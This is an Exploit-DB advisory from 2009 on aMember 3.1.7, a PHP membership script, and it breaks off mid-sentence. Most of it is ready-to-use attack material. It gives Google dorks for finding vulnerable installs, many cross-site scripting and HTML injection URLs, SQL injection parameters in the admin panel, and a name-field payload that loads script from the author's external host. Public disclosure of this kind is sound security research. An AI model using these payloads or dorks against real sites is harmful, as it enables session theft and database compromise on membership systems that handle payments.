Exploit-DB #8820
Description: amember 3.1.7 - Cross-Site Scripting / SQL Injection / HTML Injection
Type: webapps
Platform: php
Date: 2009-05-29
Author: intern0t

Exploit:
AMember - Multiple Vulnerabilities

Version Affected: 3.1.7 (Apr-10-2009) (newest)

Info: aMember is a flexible membership and subscription management PHP script. It has support for
PayPal, BeanStream, 2Checkout, NoChex, VeriSign PayFlow, Authorize.Net, PaySystems, Probilling,
Multicards, E-Gold and Clickbank payment systems (see list of integrated payment systems) and
allows you to setup paid-membership areas on your site. It can also be used without any payment
system - you can manage users manually.

aMember Pro also supports integration plugins to link users database with third-party scripts,
for example vBulletin, Joomla, WordPress (see list of integration plugins).
aMember is a perfect membership software for selling digital subscriptions and downloads.

Opinion: CGI Systems' website has an XSS issue too, they obviously don't realise the impact of XSS.

Credits: Matt, fiftysixer, mind_warlock, fourthdimension, NetRolller3D, ha.ckers, webDEViL and all of InterN0T :)

Accurate Googled0rk: (fewer results)
http://lmgtfy.com/?q=inurl:/amember intext:Â© CGI-Central.NET, 2002-2006

Inaccurate Googled0rk: (more results)
http://lmgtfy.com/?q=intext:Â© CGI-Central.NET, 2002-2006

External Links:
http://www.amember.com/
http://www.amember.com/p/Main/Download
http://www.amember.com/p/Main/Demo


-:: The Advisory ::-

Version Information:
http://www.website.tld/amember/docs/changelog.txt

Information Disclosure:
http://www.website.tld/amember/docs/tester.php
http://www.website.tld/amember/setup.php?step='
http://www.website.tld/amember/admin/report.php?report=' (admin only)
- More files are affected. (discloses full path to the file)

Cross Site Scripting (admin only - might not survive a login screen!)
http://www.website.tld/amember/admin/users.php?letter="><script>alert(0)</script>
http://www.website.tld/amember/admin/users.php?status="><script>alert(0)</script>
http://www.website.tld/amember/admin/users.php?letter="><script>alert(0)</script>
http://www.website.tld/amember/admin/users.php?action=<script>alert(0)</script>
http://www.website.tld/amember/admin/setup.php?notebook=<script>alert(0)</script>
http://www.website.tld/amember/admin/newsletter_threads.php?action=edit&thread_id="><script>alert(0)</script>
http://www.website.tld/amember/admin/newsletter_guests.php?action=edit&guest_id="><script>alert(0)</script>
http://www.website.tld/amember/admin/products.php?action=<script>alert(0)</script>
http://www.website.tld/amember/admin/protect.php?action=<script>alert(0)</script>
http://www.website.tld/amember/admin/coupons.php?action=<script>alert(0)</script>
http://www.website.tld/amember/admin/aff_banners.php?action=edit_banner&banner_id="><script>alert(0)</script>
http://www.website.tld/amember/admin/aff_banners.php?action=edit_link&banner_id="><script>alert(0)</script>
http://www.website.tld/amember/admin/email_templates.php?a=edit&tpl=<script>alert(0)</script>
http://www.website.tld/amember/aff.php?action=<script>alert(0)</script> (this might only affect attacker)
- More files might be affected.

HTML Injection: (insert: "><script>alert(0)</script> into the mentioned forms)
http://www.website.tld/amember/signup.php (first- and last-name)
http://www.website.tld/amember/aff_signup.php (first- and last-name)
http://www.website.tld/amember/profile.php (first- and last-name)

HTML Injection Exception: (this injection might only be possible to be seen by the attacker)
http://www.website.tld/amember/aff.php?action=payout_info (other payment plugins might be vulnerable too)

Affeced Sites (by HTML Injection):
http://www.website.tld/amember/admin/index.php (if the menu user-lookup returns positive)
http://www.website.tld/amember/admin/users.php?q=VALIDUSERNAME&q_where=anywhere&action=search_by_string
http://www.website.tld/amember/admin/users.php?status= (this will always return the HTML Injection)
http://www.website.tld/amember/admin/users.php?action=edit&member_id=VALIDUSERID
http://www.website.tld/amember/admin/users.php?action=actions&member_id=VALIDUSERID
http://www.website.tld/amember/admin/users.php?action=edit_payment&payment_id=VALIDPAYMENTID&member_id=VALIDUSERID
http://www.website.tld/amember/admin/users.php?letter=FIRSTLETTEROFYOURUSERNAME
-- More files might be affected.

SQL Injection: (requires admin access)
http://www.website.tld/amember/admin/access_log.php?order1='SQL'a.time+DESC&order2='SQL'a.time+DESC
http://www.website.tld/amember/admin/aff_clicks.php?year_month='SQL'&action=aff_sales
http://www.website.tld/amember/admin/products.php?action=delete&product_id='SQL'
-- More files might be affected, the depth of SQL Injection was not checked!


-:: Solution ::-
All the files are encrypted according to CGI Systems' website.

Questions and answers (quote)

I've downloaded aMember, but the source code is corrupted. How can I download it again ?
The source code is not corrupted, but it is encrypted with Zend Encoder or IonCube Encoder technology

Which essentially mean i was unable to find any solution to the problem.
I believe this vulnerability might be exploited in the wild due to it is very
easy to find and take advantage of. (if you know what you're looking for)

Addition: The most easy solution would be to use a regular expression to fix this issue.


-:: Ways of abusing the HTML Injection and XSS ::-
The following are examples of what you can input as first- and/or last-name:
"><SCRIPT SRC=//intern0t.net/.j>
- Works only in FireFox and NetScape 8.1-G (Gecko)

Protocol resolution in script tags. This particular variant was submitted by Åukasz Pilorz and was based
partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE,
Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is
especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is
valid